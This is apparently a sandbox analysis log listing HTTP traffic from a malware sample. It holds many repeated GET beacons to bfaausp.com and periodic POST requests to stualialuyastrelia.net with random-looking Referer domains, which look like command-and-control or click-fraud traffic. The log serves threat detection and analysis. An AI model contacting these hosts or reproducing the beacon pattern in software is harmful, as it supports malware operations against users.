Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wbpkmqnacrfx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vjqxxbfgsldfw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://repnhsfkotajyuvr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bftrakiarve.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sgmtsctuvagfrk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://efqtcklushiiblic.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
